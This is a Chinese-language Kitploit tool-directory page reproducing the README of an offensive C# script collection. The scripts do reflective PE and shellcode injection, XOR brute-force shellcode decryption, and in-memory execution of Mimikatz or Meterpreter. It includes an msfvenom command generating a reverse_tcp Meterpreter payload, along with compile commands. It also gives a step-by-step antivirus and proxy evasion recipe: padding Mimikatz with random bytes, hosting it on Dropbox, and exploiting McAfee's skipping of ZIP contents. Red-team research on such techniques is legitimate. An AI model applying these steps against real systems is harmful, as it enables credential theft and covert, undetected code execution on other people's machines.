Skip to content
KitploitKITPLOIT
工具漏洞利用博客
Log in
提交
工具漏洞利用博客
提交

黑客、渗透测试和网络安全工具,武装您的安全武器库!

Kitploit 是一个黑客、网络安全和渗透测试工具的目录。发现最新的项目更新,查找漏洞、分析系统、自动化测试并加强你的安全。

订阅源联系隐私© 2026 Kitploit

工具目录

分类

查看所有分类
Loading categories
CSharpScripts — 用于反射式 PE 与 shellcode 注入、内存中载荷执行、XOR 暴力破解 shellcode 解密以及 .NET 程序集解析的 C# 攻击脚本。 | Kitploit
工具/GitHubGitHub/arno0x/csharpscripts
加密/解密工具逆向工程Shellcode后渗透利用恶意软件分析渗透测试红队Payload 开发二进制利用
GitHubarno0x/csharpscripts

CSharpScripts

用于反射式 PE 与 shellcode 注入、内存中载荷执行、XOR 暴力破解 shellcode 解密以及 .NET 程序集解析的 C# 攻击脚本。

344112209年前Kitploit 审核通过

最受欢迎

查看全部 →

发现我们社区最常用的工具。

探索所有工具

浏览我们的工具集合

查看所有工具 →
分享
查看仓库

C# 脚本

作者:Arno0x0x - @Arno0x0x

本仓库旨在发布我的一些 C# 脚本。其中一些只是从我在各处找到的其他脚本分叉或受其启发而来,我对其进行了调整以符合我的需求,或者仅仅是为了学习和改进。

通过暴力破解(bf)解密,然后加载并执行 xor 加密的 shellcode

bfDecryptShellcode.cs

这个脚本有点笨,可能不是一个很有用的 PoC,用于对多字节 XOR 加密的 shellcode 进行暴力破解解密。一旦 shellcode 被解密,它就会被加载到内存中并执行。

要使用它,你需要两样东西:

  1. 一个多字节 XOR 加密的 shellcode
  2. 解密后 payload 的 MD5 哈希,用作判断是否已找到正确解密密钥的标记

你可以使用我的 ShellcodeWrapper 项目,并向其提供任意 raw metasploit payload 来获得这两者。

动态加载并解析 .Net 程序集

parseAssembly.cs

这个控制台应用程序将动态加载一个 .Net 程序集(exe 或 dll),可以从本地文件加载,也可以从 URL 下载,可选地采用 base64 编码。加载后,它将枚举其类型、方法和属性。 示例: parseAssembly.exe myAssembly.dll 或 parseAssembly.exe http://some.site.com/myAssembly base64

玩转 PE 和 Shellcode 反射注入

这是一组改编自 Casey Smith(@subTee)关于从各种来源将 PE 或 shellcode 反射注入调用进程的工作的脚本。

peloader.cs

这个脚本将一个 base64 编码的 x64 PE 文件(例如:Mimikatz 或 Meterpreter)加载到进程内存中并以反射方式执行它。PE 作为 base64 字符串变量在文件开头传入(是的,它是硬编码的)。

你可以使用以下 *nix 命令行从任意文件生成这个 base64 编码字符串:

root@kali:~# base64 -w 0 mimikatz.exe > mimikatz.b64

在 Windows 机器上编译该脚本需要 .Net framework(Windows 7 及更高版本默认已安装):

C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe /unsafe /out:peloader.exe peloader.cs

shellcodelauncher.cs

该脚本将 shellcode 执行到进程内存中,并以反射方式执行它。shellcode 以字节数组的形式通过变量传入。你可以使用 Metasploit 的 msfvenom 工具自动为你生成该数组的合适代码。例如,要生成一个 reverse_tcp meterpreter shellcode:

root@kali:~# msfvenom -a x86_64 -p windows/x64/meterpreter/reverse_tcp LHOST=192.168.52.130 LPORT=4444 -f csharp

在 Windows 机器上编译该脚本需要 .Net framework(Windows 7 及更高版本默认已安装):

C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe /unsafe /out:shellcodeLauncher.exe shellcodeLauncher.cs

runfromzipinmemory.cs

此脚本在很大程度上(且毫不掩饰地)基于、受启发于、衍生自 Casey Smith(@subTee)在 Netkatz 上的工作。

我发现我公司工作站上的本地杀毒软件(McAfee)被配置为不分析 ZIP 文件的内容,这大概是因为它假定每当要读取或执行该内容时,通常都会先将其解压到磁盘上的某个位置,而其中的任何恶意内容届时都会被杀毒软件捕获。

此脚本所做的是将所有内容加载到内存中,并且仅从内存中运行,同时还使用反射从调用进程的内存中执行 PE。

因此,不仅杀毒软件完全不会报警,而且从取证的角度来看,唯一“可见运行的进程”看起来也完全无害。

在 Windows 机器上编译此脚本需要 .Net 框架(Windows 7 及更高版本默认安装):

C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe /unsafe /reference:System.IO.Compression.dll /out:runfromzipinmemory.exe runfromzipinmemory.cs

然后你可以执行:

unfromzipinmemory.exe <zip_file> <exe_from_zip_file_to_be_executed>

netPEloader.cs

此脚本大量基于 Casey Smith(@subTee)在 Netkatz 上的工作,并从中获得灵感。

Netkatz 是一个出色的 PoC,它可以从 GitHub 加载最新版本的 mimikatz,并直接在内存中执行。然而,在我的环境中遇到了三个问题:

  1. 连接互联网必须通过需要 NTLM 身份验证的公司代理(Windows SSO 没问题)
  2. Mimikatz 的 GitHub 页面因网站分类被公司代理屏蔽
  3. mimikatz_trunked.zip 文件被代理的 AV 检测到(是的,在代理层面开启了 SSL 检查)

因此我修改了原始的 netkatz 脚本以解决这三个问题:

  1. 添加了系统代理和默认凭据支持(当前登录的 Windows 用户)
  2. 将 PE 托管在未被屏蔽的网站上,看起来像 www.dropbox.com 这样无害的网站
  3. 关于让 PE 不被 AV 检测到,我们可以采用各种混淆方法,如加密、特定编码,但我喜欢这种简单的技术:在真正的 x64 Mimikatz PE 开头添加 65536 个随机垃圾字节:
    • dd if=/dev/urandom of=garbage bs=65536 count=1
    • cat garbage mimikatz.exe > mimiHidden
    • 将 mimiHidden 上传到 dropbox 并分享

下载隐藏 PE 的 URL 硬编码在脚本中。

在 Windows 机器上编译该脚本需要 .Net framework(Windows 7 及更高版本默认安装):

C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe /unsafe /out:netPEloader.exe netPEloader.cs
下载工具